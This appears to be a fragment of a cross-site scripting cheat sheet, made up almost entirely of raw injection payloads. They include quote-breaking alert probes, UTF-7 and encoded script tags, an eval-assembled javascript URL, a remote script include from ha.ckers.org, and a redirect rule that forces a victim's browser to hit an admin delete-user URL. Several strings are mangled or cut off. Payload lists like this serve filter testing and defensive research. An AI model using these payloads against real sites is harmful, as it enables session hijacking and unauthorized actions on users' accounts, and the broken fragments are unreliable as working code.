';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{} '';!--"=&{()}
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser exp/*
  • XSS %BCscript%BEalert(%A2XSS%A2)%BC/script%BE a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")"; eval(a+b+c+d);
    XSS ]]> alert("XSS")'); ?>
    < %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
    +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- \";alert('XSS');// perl -e 'print "";'> out perl -e 'print "&alert("XSS")";' > out ">

    PT SRC="http://ha.ckers.org/xss.js"> XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS